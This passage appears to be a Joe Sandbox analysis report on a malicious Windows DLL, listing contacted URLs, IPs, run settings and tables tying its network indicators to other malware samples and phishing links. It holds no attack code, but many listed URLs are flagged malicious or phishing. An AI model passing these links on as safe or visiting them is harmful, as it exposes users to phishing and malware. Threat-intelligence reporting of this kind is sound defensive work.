https://search.yahoo.com/search;_ylt=AwrNZ72g7HVlnQYrC0hXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=43&pz=7&bct=0&pstart=9	false		high
https://3310.xg4ken.com/trk/v1?prof=404&camp=7922&kct=google&kchid=3244738290&criteriaid=kwd-26354352&campaignid=20054591653&locphy=1016280&adgroupid=155357008064&adpos=&cid=656710651105&networkType=search&kdv=c&kext=&kadtype=&kmc=&kpid=&url=https://monitor.ppcprotect.com/v3.0/template?accid=16117&kw=botox&mt=p&nw=g&cpn=20054591653&devi=c&devm=&locp=1016280&loci=1016310&pl=&cr=656710651105&adp=&sadt=&url=https://www.laseraway.com/services/botox/?igaag=155357008064&igaat=&igacm=20054591653&igacr=656710651105&igakw=botox&igamt=p&igant=g&kenibpid=p.404._k_EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE_k_.&utm_source=kenshoo_google_botox&utm_medium=botox-pure_all-regions_phrase&utm_campaign=All-Regions-Botox_Exact-and-Phrase_CONVS__k_EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE_k_&st-t=google_&gad_source=1&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE	false		high
https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9	false		high
https://api.genderize.io/?name=Julie	true	Avira URL Cloud: safe	unknown
http://www.google.com/ncr	false		high
https://steamcommunity.com/market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=tag_weapon_deagle&category_730_Weapon[]=tag_weapon_ak47&category_730_Weapon[]=tag_weapon_m4a1&category_730_Weapon[]=tag_weapon_awp&category_730_Weapon[]=tag_weapon_usp_silencer&category_730_Rarity[]=tag_Rarity_Mythical_Weapon	false		high
https://api.genderize.io/?name=Syed	true	Avira URL Cloud: safe	unknown
https://lesta.ru/id/signin/process/?type=captcha	true	Avira URL Cloud: safe	unknown
https://search.yahoo.com/search;_ylt=AwrFARWZ7HVla9ArvQhXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=36&pz=7&bct=0&pstart=9	false		high
https://search.yahoo.com/search;_ylt=AwrEohTk63VlsLUFqL9XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=43&pz=7&bct=0&xargs=0	false		high
https://search.yahoo.com/search;_ylt=AwrFD2vQ63Vl9sorb0xXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&vc=us&fr=sfp&fr2=sb-top-us.search&b=8&pz=7&bct=0&pstart=2	false		high
https://search.yahoo.com/search;_ylt=AwrFGC7Y63VlsVUr.fpXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=22&pz=7&bct=0&xargs=0	false		high
https://search.yahoo.com/search;_ylt=AwrFGC7U63Vlv5srJn1XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=15&pz=7&bct=0&xargs=0	false		high
http://work.a-poster.info:25000/	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.google.com/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://work.a-poster.info25000	rundll32.exe, 00000004.00000002.4576997965.0000000004E6B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://work.a-poster.info	rundll32.exe, 00000004.00000002.4576997965.0000000004E6B000.00000004.00000010.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
66.218.84.137	ds-global3.l7.search.ystg1.b.yahoo.com	United States	26101	YAHOO-3US	false
18.244.102.65	unknown	United States	16509	AMAZON-02US	true
217.69.139.60	auth.mail.ru	Russian Federation	47764	MAILRU-ASMailRuRU	false
23.194.234.100	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
212.227.17.170	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
95.181.181.87	lesta.ru	Russian Federation	61120	AIRNETRU	true
87.240.139.193	api.vk.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
192.178.50.38	ad.doubleclick.net	United States	15169	GOOGLEUS	false
209.97.16.14	reachlocal.rlcdn.net	United States	14446	CNT-ASNUS	true
195.62.52.164	torrent-trecker4.com	Russian Federation	44812	IPSERVER-RU-NETFiordRU	true
217.74.64.236	unknown	Poland	16138	INTERIAPL	true
18.244.102.111	unknown	United States	16509	AMAZON-02US	true
68.180.135.252	me-ycpi-cf-www.g06.yahoodns.net	United States	14780	INKTOMI-LAWSONUS	true
23.61.62.118	unknown	United States	16625	AKAMAI-ASUS	false
52.44.77.224	prod-rotation-v2.guce.aws.oath.cloud	United States	14618	AMAZON-AESUS	false
182.248.170.98	unknown	Japan	2516	KDDIKDDICORPORATIONJP	true
194.126.4.58	unknown	Lebanon	9051	Beirut-LebanonLB	false
35.169.166.3	external-use1-kproxy-1-1056718813.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
67.195.228.109	mta6.am0.yahoodns.net	United States	36647	YAHOO-GQ1US	false
212.227.17.186	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
217.69.142.141	aj-https.mail.ru	Russian Federation	47764	MAILRU-ASMailRuRU	false
87.248.103.8	unknown	United Kingdom	34010	YAHOO-IRDGB	false
162.19.169.11	fingerprints.bablosoft.com	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
40.99.149.210	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
44.215.216.20	unknown	United States	14618	AMAZON-AESUS	false
77.222.22.101	unknown	Montenegro	8585	INTERNET-CGME	true
94.100.184.66	unknown	Russian Federation	47764	MAILRU-ASMailRuRU	false
52.21.201.77	unknown	United States	14618	AMAZON-AESUS	false
84.116.6.22	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	true
142.250.217.196	www.google.com	United States	15169	GOOGLEUS	false
165.227.126.8	api.genderize.io	United States	14061	DIGITALOCEAN-ASNUS	true
52.98.179.34	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
65.8.248.10	d2f3hizmmw1x77.cloudfront.net	United States	16509	AMAZON-02US	false
217.20.155.16	m.ok.ru	Russian Federation	47764	MAILRU-ASMailRuRU	false

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1357419
Start date and time:	2023-12-10 17:47:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RqrQG7s66x.dll renamed because original name is a hash value
Original Sample Name:	29e9150af910082acd681a4f5f4a2fc4.dll
Detection:	MAL
Classification:	mal88.troj.evad.winDLL@10/0@37/34
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .dll Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 142.250.189.130, 52.113.194.133, 52.178.182.128, 51.105.176.200, 40.126.7.35, 40.126.28.20, 40.126.28.13, 40.126.28.18, 40.126.28.11, 40.126.7.32, 40.126.28.21, 40.126.28.23, 52.158.121.3
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, prdv4a.aadg.msidentity.com, www.googleadservices.com, slscr.update.microsoft.com, dual-a-0001.a-msedge.net, go-skype-com.s-0006.s-msedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, login.skype-apps.akadns.net, www-www.bing.com.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, secure.skype-apps.akadns.net, ocsp.digicert.com, login.live.com, s-0006.s-msedge.net, www-bing-com.dual-a-0001.a-msedge.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target rundll32.exe, PID 3792 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 4992 because there are no executed function
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:47:55	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
66.218.84.137	http://nerokolim.cam	Get hash	malicious	Unknown	Browse
	https://pdfcastle.com/convert/?pid=71595&publisherid=71595&barcodeid=71595&adid=60109020&gclid=EAIaIQobChMIl-LF-KL2ggMVb1YJCR1l4A2-EAEYASAAEgL9SvD_BwE	Get hash	malicious	Unknown	Browse
	https://jpadscity.com/yTozqBN-rqp_fAumldEMt7eEwPBddyQc6_Du4euWaZs/?cid=2fb5612f478001b60480e498d3595bd0&sid=20204270	Get hash	malicious	Phisher	Browse
	https://hasvp.apinvoicesquickbookapp.top/?pgn=ptmetcm5hZ2xlQG9sZHBsYW5rdHJhaWxiYW5rLmNvbQ==	Get hash	malicious	Unknown	Browse
	https://drive.google.com/file/d/11qmYm6lCQxQsYSNvVMa92eUR4AcCAhCn/preview	Get hash	malicious	Unknown	Browse
	https://drive.google.com/file/d/11qmYm6lCQxQsYSNvVMa92eUR4AcCAhCn/preview	Get hash	malicious	Unknown	Browse
	https://mafoodallergytraining.org/	Get hash	malicious	Unknown	Browse
	http://dev.factwatch.org/uorsuqmi.php	Get hash	malicious	Unknown	Browse
	http://7gdmq.fiferan.cc/34546de4235m342356	Get hash	malicious	Unknown	Browse
	http://nmri5.fiferan.cc/34546de4235m342356	Get hash	malicious	Unknown	Browse
	https://www.google.com/url?q=https://em8acxe5.page.link/XktS&source=gmail&ust=1695642375807000&usg=AOvVaw1hY64QdpUANT_MM1Ctrzxv	Get hash	malicious	Unknown	Browse
	https://www.google.com/url?q=https://3xt1ajyb.page.link/eNh4&source=gmail&ust=1695474081890000&usg=AOvVaw0ReccQQEIr7L4nLReykQDz	Get hash	malicious	Unknown	Browse
	https://notsg.app.link/b7nyDExPgDb	Get hash	malicious	Unknown	Browse
	https://k55kl.app.link/PjmeknG8eDb	Get hash	malicious	Unknown	Browse
	https://z5amz.app.link/1B8FVTr8eDb	Get hash	malicious	Unknown	Browse
	https://fpq68.app.link/vl1f9jtoaDb	Get hash	malicious	Unknown	Browse
	http://pspac.pire.cc/34546de4235m342356?_branch_match_id=1232707660365292782&utm_medium=marketing&_branch_referrer=H4sIAAAAAAAAA8soKSkottLXzzfPKjTTSywo0MvJzMvWD0opjCp2NUpKdkkCAFUy31YiAAAA	Get hash	malicious	Unknown	Browse
	https://o7jq6.app.link/RdqZsE2bcDb	Get hash	malicious	Unknown	Browse
	https://anx1z.app.link/UK7XYvUbcDb	Get hash	malicious	Unknown	Browse
	https://kw0ze.app.link/DuusEvsnaDb	Get hash	malicious	Unknown	Browse
217.69.139.60	WtRLqa6ZXn.exe	Get hash	malicious	Unknown	Browse
217.69.139.60	3pYA64ZwEC.exe	Get hash	malicious	Unknown	Browse
23.194.234.100	https://staemcomrnunitly.ru/	Get hash	malicious	Unknown	Browse
	https://stearncomunitly.ru/	Get hash	malicious	Unknown	Browse
	54f4c5cc097a37ed8aa2da97869bd7251f68020b3c1dd66ea977bacaf717817c.zip	Get hash	malicious	Vidar	Browse
	jgkkwGvPNo.exe	Get hash	malicious	Vidar	Browse
	https://steamproxy.co/login/home/?goto=/chat	Get hash	malicious	Unknown	Browse
212.227.17.170	S5.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.W32.AIDetect.malware2.29567.exe	Get hash	malicious	Tofsee Xmrig	Browse
	http://optimumenergytech.com/wp-admin/k83t4/	Get hash	malicious		Browse
	http://blog.ploytrip.com/z9cr/Pages/UxiQlIomnGiGKODewvEaBYLyCJh/	Get hash	malicious		Browse
95.181.181.87	WtRLqa6ZXn.exe	Get hash	malicious	Unknown	Browse
95.181.181.87	3pYA64ZwEC.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mta6.am0.yahoodns.net	webcam.txt.com.exe	Get hash	malicious	Unknown	Browse	67.195.204.73
	file.exe	Get hash	malicious	Tofsee	Browse	98.136.96.74
	file.msg.scr.exe	Get hash	malicious	Unknown	Browse	67.195.228.106
	file.exe	Get hash	malicious	Tofsee	Browse	67.195.228.94
	.exe	Get hash	malicious	Unknown	Browse	98.136.96.91
	file.exe	Get hash	malicious	Tofsee	Browse	98.136.96.76
	file.log.exe	Get hash	malicious	Unknown	Browse	67.195.228.94
	data.log.exe	Get hash	malicious	Unknown	Browse	67.195.228.109
	message.elm.exe	Get hash	malicious	Unknown	Browse	67.195.204.79
	message.txt.exe	Get hash	malicious	Unknown	Browse	98.136.96.77
	test.dat.exe	Get hash	malicious	Unknown	Browse	98.136.96.77
	Update-KB7390-x86.exe	Get hash	malicious	Unknown	Browse	67.195.228.110
	Update-KB6734-x86.exe	Get hash	malicious	Unknown	Browse	67.195.228.111
	Update-KB5058-x86.exe	Get hash	malicious	Unknown	Browse	98.136.96.77
	Update-KB78-x86.exe	Get hash	malicious	Unknown	Browse	98.136.96.77
	file.txt.exe	Get hash	malicious	Unknown	Browse	67.195.204.72
	Update-KB250-x86.exe	Get hash	malicious	Unknown	Browse	98.136.96.74
	Update-KB2984-x86.exe	Get hash	malicious	Unknown	Browse	67.195.204.79
	doc.msg.exe	Get hash	malicious	Unknown	Browse	67.195.228.94
	3hTS09wZ7G.exe	Get hash	malicious	Raccoon RedLine SmokeLoader Tofsee	Browse	67.195.228.110
prod-rotation-v2.guce.aws.oath.cloud	http://nerokolim.cam	Get hash	malicious	Unknown	Browse	54.165.44.64
	https://jpadscity.com/yTozqBN-rqp_fAumldEMt7eEwPBddyQc6_Du4euWaZs/?cid=2fb5612f478001b60480e498d3595bd0&sid=20204270	Get hash	malicious	Phisher	Browse	52.44.77.224
	https://hasvp.apinvoicesquickbookapp.top/?pgn=ptmetcm5hZ2xlQG9sZHBsYW5rdHJhaWxiYW5rLmNvbQ==	Get hash	malicious	Unknown	Browse	35.168.129.45
	https://vf229ak2.page.link/iDzQ	Get hash	malicious	HTMLPhisher	Browse	35.86.52.47
	https://drive.google.com/file/d/11qmYm6lCQxQsYSNvVMa92eUR4AcCAhCn/preview	Get hash	malicious	Unknown	Browse	3.232.38.116
	https://www.google.com/url?q=https://nwp0otxd.page.link/RtQw&sa=D&source=editors&ust=1698325187920038&usg=AOvVaw0mg0cllXFrqTmYcNPBcAu6	Get hash	malicious	Unknown	Browse	54.166.27.214
	https://3h2cuxg1.page.link/naxz&sa=D&source=editors&ust=1698325144367624&usg=AOvVaw04Zt9ypPNZfaUBkeZWuoTX	Get hash	malicious	Unknown	Browse	54.172.4.166
	https://8o88sfjx.page.link/29hQ	Get hash	malicious	Unknown	Browse	35.164.194.184
	https://syswc3ar.page.link/jofZ	Get hash	malicious	HTMLPhisher	Browse	100.21.86.181
	http://2dr.eu/2EI-_C	Get hash	malicious	Unknown	Browse	50.112.164.77
	http://dev.factwatch.org/uorsuqmi.php	Get hash	malicious	Unknown	Browse	35.153.220.238
	http://7gdmq.fiferan.cc/34546de4235m342356	Get hash	malicious	Unknown	Browse	54.174.178.165
	http://nmri5.fiferan.cc/34546de4235m342356	Get hash	malicious	Unknown	Browse	54.162.246.130
	https://www.google.com/url?q=https://em8acxe5.page.link/XktS&source=gmail&ust=1695642375807000&usg=AOvVaw1hY64QdpUANT_MM1Ctrzxv	Get hash	malicious	Unknown	Browse	54.174.178.165
	https://www.google.com/url?q=https://3xt1ajyb.page.link/eNh4&source=gmail&ust=1695474081890000&usg=AOvVaw0ReccQQEIr7L4nLReykQDz	Get hash	malicious	Unknown	Browse	34.202.95.88
	https://notsg.app.link/b7nyDExPgDb	Get hash	malicious	Unknown	Browse	34.202.95.88
	https://k55kl.app.link/PjmeknG8eDb	Get hash	malicious	Unknown	Browse	52.202.234.10
	https://z5amz.app.link/1B8FVTr8eDb	Get hash	malicious	Unknown	Browse	34.202.95.88
	https://fpq68.app.link/vl1f9jtoaDb	Get hash	malicious	Unknown	Browse	44.218.89.87
	http://pspac.pire.cc/34546de4235m342356?_branch_match_id=1232707660365292782&utm_medium=marketing&_branch_referrer=H4sIAAAAAAAAA8soKSkottLXzzfPKjTTSywo0MvJzMvWD0opjCp2NUpKdkkCAFUy31YiAAAA	Get hash	malicious	Unknown	Browse	52.205.173.43
aj-https.mail.ru	3pYA64ZwEC.exe	Get hash	malicious	Unknown	Browse	217.69.142.141

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MAILRU-ASMailRuRU	mJHY33okRC.elf	Get hash	malicious	Mirai	Browse	5.61.19.200
	WtRLqa6ZXn.exe	Get hash	malicious	Unknown	Browse	94.100.184.66
	L8PCdNq0xs.elf	Get hash	malicious	Mirai	Browse	178.237.22.112
	G7DyaA9iz9.exe	Get hash	malicious	Pushdo	Browse	217.69.139.150
	http://skladtandem.ru/bitrix/admin/mrt/redirect.php?login=tendai@transafricamedicals.co.za&source=gmail&ust=1691478366880000&usg=AOvVaw3Yg-fX-mtHN-vCYoBB8D5Q	Get hash	malicious	Unknown	Browse	95.163.251.206
	8zb8fo2h7Z.elf	Get hash	malicious	Mirai	Browse	178.237.22.122
	Eypxe2gysn.elf	Get hash	malicious	Mirai	Browse	178.237.22.116
	http://top.mail.ru	Get hash	malicious	HTMLPhisher	Browse	217.69.139.59
	c97231396401b664fb865042a75fb600f6a752b2667bb8ef2d662fb0.exe	Get hash	malicious	Unknown	Browse	217.20.147.1
	c97231396401b664fb865042a75fb600f6a752b2667bb8ef2d662fb0.exe	Get hash	malicious	Unknown	Browse	5.61.23.11
	x607DB0i08.exe	Get hash	malicious	Pushdo	Browse	217.69.139.150
	https://mlattach.datacloudmail.ru/loader2/FE43D946C5A5F4AF6EF27A93FF7D7BE634577DE6?attach_id=QElpz4z3XEA1QN0c&expires=1697043293&from=e.mail.ru&m=ObkvJVHVmfz4nZdtQ4IkgQ&x-email=matthewblock%40eversheds-sutherlandll.com	Get hash	malicious	HTMLPhisher	Browse	5.61.236.128
	https://checklink.mail.ru/proxy?es=sel%2B0385qeoJtN2ktpDPP1cKO1E%2BjLj9lZzWEU3b1Y4%3D&egid=WV%2B9%2BE9MBUW6kIM%2BcYO78LeXgANMoBnZPz6k56%2BGDpU%3D&url=https%3A%2F%2Fclick.mail.ru%2Fredir%3Fu%3Dhttps%253A%252F%252Fwebmail.swan.co.th%252Fcompose%253FTo%253DMatthewblock%2540eversheds%25252dsutherlandll.com%26c%3Dswm%26r%3Dhttp%26o%3Dmail%26v%3D3%26s%3D9c23e2fe93a31d67&uidl=16969566711024638549&from=ipad%40office-dsk.com&to=ipad%40office-dsk.com&email=ipad%40office-dsk.com	Get hash	malicious	HTMLPhisher	Browse	5.181.61.0
	x7RlIzQDk1.exe	Get hash	malicious	Unknown	Browse	217.69.139.150
	jklarm-20231011-2200.elf	Get hash	malicious	Mirai	Browse	128.140.169.84
	EwK95WVtzI.exe	Get hash	malicious	Pushdo	Browse	217.69.139.150
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	217.69.134.45
	https://ok.me/jfjC1#qsv17j9	Get hash	malicious	HTMLPhisher	Browse	217.20.155.6
	x86.elf	Get hash	malicious	Unknown	Browse	128.140.169.90
	3pYA64ZwEC.exe	Get hash	malicious	Unknown	Browse	94.100.180.60
AMAZON-02US	LLTQiv9AVv.elf	Get hash	malicious	Mirai	Browse	54.119.153.62
	Yzkk3B5jl4.elf	Get hash	malicious	Mirai	Browse	18.250.238.91
	9934TdVVG1.elf	Get hash	malicious	Mirai	Browse	13.237.87.165
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	100.20.140.121
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	18.254.183.142
	SamFwFRPTool.exe	Get hash	malicious	Unknown	Browse	52.16.120.138
	SamFwFRPTool.exe	Get hash	malicious	Unknown	Browse	108.156.83.37
	arm7-20231210-0513.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	SecuriteInfo.com.Exploit.Siggen3.42475.29091.14024.rtf	Get hash	malicious	FormBook	Browse	52.220.48.161
	x86-20231210-0113.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	https://ordemdepagamentozero.000webhostapp.com/	Get hash	malicious	HTMLPhisher	Browse	13.226.52.129
	https://schoolunified.net/LandingPage/Index/122/	Get hash	malicious	Unknown	Browse	18.239.225.124
	TYZYR0059i.elf	Get hash	malicious	Mirai	Browse	176.34.218.169
	x86.elf	Get hash	malicious	Unknown	Browse	108.133.132.165
	http://62.109.8.203	Get hash	malicious	Unknown	Browse	18.239.225.48
	http://lbu.cloudo.pw/read?file=yorkcraft+yc+6j+manual	Get hash	malicious	Unknown	Browse	13.249.98.6
	https://6am8rid67tw.typeform.com/to/HZKTv6iH	Get hash	malicious	Unknown	Browse	108.156.83.55
	OS2lOmPSqv.exe	Get hash	malicious	Njrat	Browse	3.125.102.39
	https://workorderprojects-docx.nimbusweb.me/share/9887326/77qzb0kvfvpft53z6yes	Get hash	malicious	Unknown	Browse	13.32.87.22
	https://netfiix-1.dyndns.org/	Get hash	malicious	Unknown	Browse	65.8.178.112
YAHOO-3US	https://pub-ad8a90fa9e1642c4af7f72543f4b6fd6.r2.dev/indexExp.html	Get hash	malicious	HTMLPhisher	Browse	76.13.32.146
	https://www.avast.com/sig-email?utm_medium=email&utm_source=link&utm_campaign=sig-email&utm_content=emailclient	Get hash	malicious	Unknown	Browse	76.13.32.146
	https://pub-8eee425b77654d58a1d68dfab8be0f60.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	76.13.32.146
	https://pub-9d707922154f4c4f9b20de6322835d6e.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	76.13.32.146
	https://supportelders.co/custom/themes/dsv/amexexpress.html	Get hash	malicious	HTMLPhisher	Browse	76.13.32.146
	https://www.canva.com/design/DAF2NQxWCuQ/vbRWyYIsOFNjPGIaLV5exQ/view?utm_content=DAF2NQxWCuQ&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	76.13.32.146
	https://main.dbklkg3sb75mn.amplifyapp.com/	Get hash	malicious	Unknown	Browse	76.13.32.146
	https://www.canva.com/design/DAF190Pe6qA/mmX36vXDl2qw5vjdoUUqmg/edit?utm_content=DAF190Pe6qA&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse	76.13.32.146
	http://nerokolim.cam	Get hash	malicious	Unknown	Browse	66.218.87.15
	https://pdfcastle.com/convert/?pid=71595&publisherid=71595&barcodeid=71595&adid=60109020&gclid=EAIaIQobChMIl-LF-KL2ggMVb1YJCR1l4A2-EAEYASAAEgL9SvD_BwE	Get hash	malicious	Unknown	Browse	66.218.84.137
	webcam.txt.com.exe	Get hash	malicious	Unknown	Browse	67.195.204.73
	https://pub-4241c3854a19467cb6f4d5ae853e803e.r2.dev/axp.html	Get hash	malicious	HTMLPhisher	Browse	76.13.32.146
	gJxUBR0ghC.elf	Get hash	malicious	Mirai	Browse	74.6.53.55
	https://app.mscomm.morningstar.com/e/er?utm_source=eloqua&utm_medium=email&utm_campaign=none&utm_content=50143&s=1258972516&lid=68118&elqTrackId=965436743A762AADE10F1A3DCFCB8022&elq=1deb1977a88a46d28eb06bfebd04b660&elqaid=50143&elqat=1	Get hash	malicious	HTMLPhisher	Browse	76.13.32.146
	https://identity.flamex.hm/	Get hash	malicious	HTMLPhisher	Browse	76.13.32.146
	https://www.canva.com/design/DAF1prwRJZU/TWZKkt8fxLRdLAOBDcDhtg/view?utm_content=DAF1prwRJZU&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	76.13.32.146
	https://jpadscity.com/yTozqBN-rqp_fAumldEMt7eEwPBddyQc6_Du4euWaZs/?cid=2fb5612f478001b60480e498d3595bd0&sid=20204270	Get hash	malicious	Phisher	Browse	66.218.84.137
	https://www.canva.com/design/DAF1pf8Zyb4/TtXZmSO6uglwjD9SkP6Ibw/view?utm_content=DAF1pf8Zyb4&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	76.13.32.146
	Black Friday limited-time deals. Endless possibilities..msg	Get hash	malicious	Unknown	Browse	76.13.32.146
	https://www.canva.com/design/DAF1e054ZDQ/CLAl98pcBjB58Krkj6Xv0Q/edit?utm_content=DAF1e054ZDQ&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	Unknown	Browse	76.13.32.146

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fed8d14fc5a67b40cd470ba239019785	f552fGDYQS.exe	Get hash	malicious	Socks5Systemz	Browse	23.194.234.100 23.61.62.118
fed8d14fc5a67b40cd470ba239019785	2019-06-12-malware-EXE-from-80.85.155.70.exe	Get hash	malicious	Tofsee Xmrig	Browse	23.194.234.100 23.61.62.118
3b5074b1b5d032e5620f69f9f700ff0e	winrar-x64.exe	Get hash	malicious	Unknown	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	winrar-x64.exe	Get hash	malicious	Unknown	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	tesy_-_Copy_(6)_-_Copy.bat	Get hash	malicious	Xmrig	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	tesy_-_Copy_(14).bat	Get hash	malicious	Xmrig	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	QBdibGezF6.exe	Get hash	malicious	RedLine	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	SecuriteInfo.com.Trojan.Encoder.37844.16543.11541.dll	Get hash	malicious	BlueSky, LockBit ransomware	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	file.exe	Get hash	malicious	Glupteba, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	BlackoutWare.exe	Get hash	malicious	Babuk, Chaos, Conti, Python Ransomware, TrojanRansom	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	#U53f0#U6e7e#Uff1a#U62db#U8058#U8bdd#U672fv.exe	Get hash	malicious	GhostRat, Nitol	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	AkJ6Em8xAv.exe	Get hash	malicious	Glupteba, LummaC Stealer, Raccoon Stealer v2, RedLine, SmokeLoader, zgRAT	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	bSp2.exe	Get hash	malicious	Njrat	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	https://adacolorina.com/login	Get hash	malicious	Unknown	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	https://syeta.com/cio/cio#eric.barber@gelita.com	Get hash	malicious	Unknown	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	https://ss9gr.mjt.lu/lnk/AGoAAPFDoKgAAAAAAAAAARXhIO8AAYCuDusAAAAAACa4owBlc2h7-7tXWGlHQ-mLYwXBDw2qCAAkBMI/1/K3ipiTiOoHyikAlmyvfJrg/aHR0cHM6Ly91c2hlcnN5c3RlbS5jb20v	Get hash	malicious	Unknown	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	https://texm.qhbxbt.ru/mxehV	Get hash	malicious	HTMLPhisher	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	Agreement_SM257488968.html	Get hash	malicious	Unknown	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	cost plus award fee contract example 25604.js	Get hash	malicious	Unknown	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	________.exe	Get hash	malicious	AgentTesla	Browse	217.69.139.60 217.69.142.141 94.100.184.66
	https://cmax.co.uk/qw.PDF	Get hash	malicious	Unknown	Browse	217.69.139.60 217.69.142.141 94.100.184.66

